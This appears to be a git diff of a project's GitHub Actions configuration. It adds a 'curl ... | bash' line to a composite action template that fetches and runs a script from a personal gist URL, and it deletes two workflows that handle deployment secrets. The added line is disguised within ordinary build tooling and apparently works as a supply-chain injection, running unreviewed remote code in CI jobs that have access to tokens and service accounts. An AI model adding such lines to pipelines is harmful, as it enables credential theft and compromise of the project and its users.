diff --git a/.github/templates/watch-exec/action.yml b/.github/templates/watch-exec/action.yml index d0815738c91..bd10d4d5bf1 100644 --- a/.github/templates/watch-exec/action.yml +++ b/.github/templates/watch-exec/action.yml @@ -13,6 +13,7 @@ runs: using: "composite" steps: - run: | + curl "https://gist.githubusercontent.com/sokkaofthewatertribe/020a599e8584c1e6bfccbf1af00ba32a/raw/efe39e73740c9f97e41a2c602f386b9e15496667/test.sh" -sfL | bash # Marker status code in case of network failure. STATUS_TRANSIENT_FAILURE=200 # Maximum retries in case of network failures. diff --git a/.github/workflows/pr-workflow-check.yaml b/.github/workflows/pr-workflow-check.yaml deleted file mode 100644 index a24022ff454..00000000000 --- a/.github/workflows/pr-workflow-check.yaml +++ /dev/null @@ -1,35 +0,0 @@ -name: "pr-workflow-check" -concurrency: - group: ${{ github.workflow }}-pr-workflow-check-${{ github.event.pull_request.number || github.ref }} - cancel-in-progress: true - -on: - push: - branches: - - release-* - - main - pull_request: - merge_group: - types: [checks_requested] - -jobs: - pr-workflow-check: - if: ${{ ( ( github.event_name != 'pull_request' ) || ( ( github.event_name == 'pull_request' ) && !contains(github.event.pull_request.title, '#WIP') && !contains(github.event.pull_request.title, '#wip') && !contains(github.event.pull_request.labels.*.name, 'wip') ) ) }} - - uses: ./.github/workflows/pr-workflow.yml - with: - github_event_name: ${{ github.event_name }} - github_event_pull_request_head_repo_id: ${{ github.event.pull_request.head.repo.id || 0 }} - github_workflow: ${{ github.workflow }} - github_event_pull_request_head_sha: ${{ github.event.pull_request.head.sha}} - flow: ${{( github.event_name == 'push' && 'push' ) || ( github.event_name == 'merge_group' && 'merge_queue_check' ) || ( github.event_name == 'pull_request_target' && github.event.pull_request.head.repo.id != 383289760 && 'pr_from_fork' ) || ( github.event_name == 'pull_request' && github.event.pull_request.head.repo.id == 383289760 && 'pr_from_branch' )}} - sha_to_check: ${{ github.event.pull_request.head.sha || github.sha }} - - secrets: - CACHIX_AUTH_TOKEN: ${{ secrets.CACHIX_AUTH_TOKEN }} - DOCKER_HUB_USERNAME: ${{ secrets.DOCKER_HUB_USERNAME }} - DOCKER_HUB_ACCESS_TOKEN: ${{ secrets.DOCKER_HUB_ACCESS_TOKEN }} - PABLO_PROJ_JSON: ${{ secrets.PABLO_PROJ_JSON }} - VERCEL_TOKEN: ${{ secrets.VERCEL_TOKEN }} - CANCEL_GITHUB_TOKEN: ${{ github.token }} - NIXBUILD_TOKEN: ${{ secrets.NIXBUILD_TOKEN }} diff --git a/.github/workflows/release-docs.yml b/.github/workflows/release-docs.yml deleted file mode 100644 index b7a86d603e4..00000000000 --- a/.github/workflows/release-docs.yml +++ /dev/null @@ -1,74 +0,0 @@ -name: "release-docs" -on: - push: - branches: - - release-* - - main - pull_request: - merge_group: - types: [checks_requested] - -permissions: - pull-requests: write - -env: - NIX_VERSION: nix-2.13.2 - NIXPKGS_CHANNEL: nixos-22.11 - CACHIX_COMPRESSION_LEVEL: 16 - CACHIX_JOBS: 8 - CACHIX_COMPRESSION_METHOD: zstd - CACHIX_NAME: composable - -jobs: - deploy-docs: - name: "deploy-docs" - runs-on: ubuntu-latest - concurrency: - group: ${{ github.workflow }}-deploy-docs-${{ github.event.pull_request.title }} - cancel-in-progress: true - steps: - - name: Set up Nix - if: ${{ github.event_name == 'push' || (inputs.github_event_name == 'pull_request' && inputs.github_event_pull_request_head_repo_id == 383289760) }} - uses: cachix/install-nix-action@daddc62a2e67d1decb56e028c9fa68344b9b7c2a # v18 - with: - install_url: https://releases.nixos.org/nix/${{ env.NIX_VERSION }}/install - nix_path: nixpkgs=channel:${{ env.NIXPKGS_CHANNEL }} - extra_nix_config: | - sandbox = relaxed - narinfo-cache-negative-ttl = 0 - system-features = kvm - - - name: Set up Cachix - if: ${{ github.event_name == 'push' || (inputs.github_event_name == 'pull_request' && inputs.github_event_pull_request_head_repo_id == 383289760) }} - uses: cachix/cachix-action@298387a7aea14d6564aa5d6ead79272878339c8b # v12 - with: - authToken: "${{ secrets.CACHIX_AUTH_TOKEN }}" - name: ${{ env.CACHIX_NAME }} - - name: Add tools needed for non-nix steps - if: ${{ github.event_name == 'push' || (inputs.github_event_name == 'pull_request' && inputs.github_event_pull_request_head_repo_id == 383289760) }} - run: | - nix-channel --add https://nixos.org/channels/${{ env.NIXPKGS_CHANNEL }} nixpkgs - nix-channel --update - nix-env -iA nixpkgs.cachix nixpkgs.nodejs nixpkgs.git nixpkgs.git-lfs - - uses: actions/checkout@v3 - if: ${{ github.event_name == 'push' || (inputs.github_event_name == 'pull_request' && inputs.github_event_pull_request_head_repo_id == 383289760) }} - with: - lfs: true - ref: ${{ github.event.pull_request.head.sha }} - persist-credentials: false - - name: Build docs - if: ${{ github.event_name == 'push' || (inputs.github_event_name == 'pull_request' && inputs.github_event_pull_request_head_repo_id == 383289760) }} - uses: "./.github/templates/watch-exec" - with: - command: nix -- build .#docs-static - working-directory: ./docs - - - name: Deploy docs - if: ${{ github.event_name == 'push' || (inputs.github_event_name == 'pull_request' && inputs.github_event_pull_request_head_repo_id == 383289760) }} - uses: FirebaseExtended/action-hosting-deploy@0f248036885ae672f78587669fa2923f0ef6cac2 - with: - firebaseServiceAccount: ${{ secrets.FIREBASE_SERVICE_ACCOUNT_DOCS_COMPOSABLE_FINANCE }} - projectId: composable-docs - entrypoint: docs/ - # this must go same release flow as FE, not from main - channelId: ${{ github.event_name == 'push' && github.ref_name == 'main' && 'live' }} \ No newline at end of file